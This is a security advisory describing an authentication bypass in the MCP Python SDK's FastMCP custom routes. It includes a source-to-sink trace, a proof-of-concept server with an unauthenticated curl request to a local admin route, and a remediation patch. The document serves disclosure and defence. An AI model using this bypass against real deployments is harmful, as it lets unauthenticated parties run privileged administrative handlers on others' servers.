Authentication bypass on FastMCP custom routes
Broken Access Control in FastMCP custom routes
Severity rating
CriticalNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Summary
Source
FastMCP.custom_route
src/mcp/server/fastmcp/server.py:685
Sink
FastMCP.sse_app
src/mcp/server/fastmcp/server.py:920
FastMCP.custom_route() allows developers to mount arbitrary HTTP handlers intended for sensitive use cases such as OAuth callbacks or admin APIs, but it never applies RequireAuthMiddleware even when the server is configured with a token verifier. Only the built-in SSE and StreamableHTTP endpoints are wrapped; custom routes are appended to the Starlette app as-is while Starlette’s AuthenticationMiddleware merely records credentials without rejecting unauthenticated requests. As a result any HTTP endpoint registered through @server.custom_route() remains publicly accessible despite OAuth or token-based authentication being enabled for the server. Attackers can directly invoke privileged administration handlers over the network without presenting credentials.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- Low
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
mcp/ server/ fastmcp/ server.py:685 FastMCP.custom_route
- Step 01src/
mcp/ server/ fastmcp/ server.py:921 Custom Starlette routes registered via custom_route() are appended to the SSE app without additional middleware.
python routes.extend(self._custom_starlette_routes) - Step 02src/
mcp/ server/ fastmcp/ server.py:716 custom_route() stores the developer handler as-is with no authentication enforcement even though docstring suggests admin usage.
python self._custom_starlette_routes.append(Route(path, endpoint=func,...)) - Step 03src/
mcp/ server/ fastmcp/ server.py:953 Even when auth is enabled only AuthenticationMiddleware is added globally; it does not reject unauthenticated requests, so custom routes remain open.
python if self._token_verifier: middleware = [Middleware(AuthenticationMiddleware, backend=BearerAuthBackend(...)), Middleware(AuthContextMiddleware)] - Step 04examples/
servers/ simple-auth/ mcp_simple_auth/ legacy_as_server.py:84 Attacker-controlled HTTP request reaches privileged handler without proving identity, enabling arbitrary admin operations.
python request = await func(request) - Sinksrc/
mcp/ server/ fastmcp/ server.py:920 FastMCP.sse_app
Impact
Reported impact
Whatever privileged operations the route performs (e.g., issuing OAuth tokens, modifying server state) happen with attacker input. Confidentiality, integrity, and availability of the server are compromised.
Attack surface
Any MCP deployment that calls FastMCP(..., token_verifier=..., auth=AuthSettings(...)) and registers routes via @server.custom_route().
Preconditions
None; attacker only needs network access. Authentication is enabled but not enforced on custom routes.
Attack path
- 1
Enumerate server paths (OpenAPI schema lists them if
include_in_schema=True, or guess known admin paths). - 2
Send HTTP request directly to the custom route using curl/httpx.
- 3
Despite missing
Authorization, handler executes because onlyAuthenticationMiddlewareran.
Proof of concept
- 01
Environment setup
Requirements: Ubuntu 22.04+, Python 3.10+,
uvpackage manager.Install dependencies:
bash git clone https://github.com/modelcontextprotocol/python-sdk.git cd python-sdk uv sync --frozen - 02
Target configuration
Create a minimal FastMCP server that enables OAuth-style auth but exposes an admin route:
python from mcp.server.fastmcp import FastMCP from mcp.server.auth.settings import AuthSettings from mcp.server.auth.provider import AccessToken, TokenVerifier from starlette.requests import Request from starlette.responses import JSONResponse class StaticVerifier(TokenVerifier): async def verify_token(self, token: str): return AccessToken(token=token, client_id="admin", scopes=["admin"]) if token == "valid" else None app = FastMCP( token_verifier=StaticVerifier(), auth=AuthSettings( issuer_url="https://auth.example.com", resource_server_url="https://server.example.com", required_scopes=["admin"], ), ) @app.custom_route("/admin/restart", methods=["POST"]) async def restart(_: Request): return JSONResponse({"status": "restarted"}) if __name__ == "__main__": app.run(transport="streamable-http")Run the vulnerable server:
bash uv run python vulnerable_server.py # Server listens on http://127.0.0.1:8000/mcp - 03
Exploit delivery
Unauthenticated attack:
bash curl -X POST http://127.0.0.1:8000/admin/restart - 04
Expected response
json {"status":"restarted"}No
Authorizationheader is required even though the server advertises admin scope enforcement. - 05
Outcome
An Internet attacker can trigger any custom admin route without valid tokens (resetting state, altering configuration, dumping data, etc.), fully bypassing the configured OAuth/token protections.
Remediation
Guidance
Wrap every custom Starlette route with the same RequireAuthMiddleware used for built-in transports whenever a token_verifier is configured. This ensures unauthenticated requests never reach developer-provided admin endpoints.
def custom_route(...):def decorator(func):self._custom_starlette_routes.append(Route(path, endpoint=func, ...))def custom_route(...): def decorator(func): endpoint = func if self._token_verifier: required_scopes = self.settings.auth.required_scopes if self.settings.auth else [] resource_metadata_url = ... endpoint = RequireAuthMiddleware(func, required_scopes, resource_metadata_url) self._custom_starlette_routes.append(Route(path, endpoint=endpoint, ...))
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
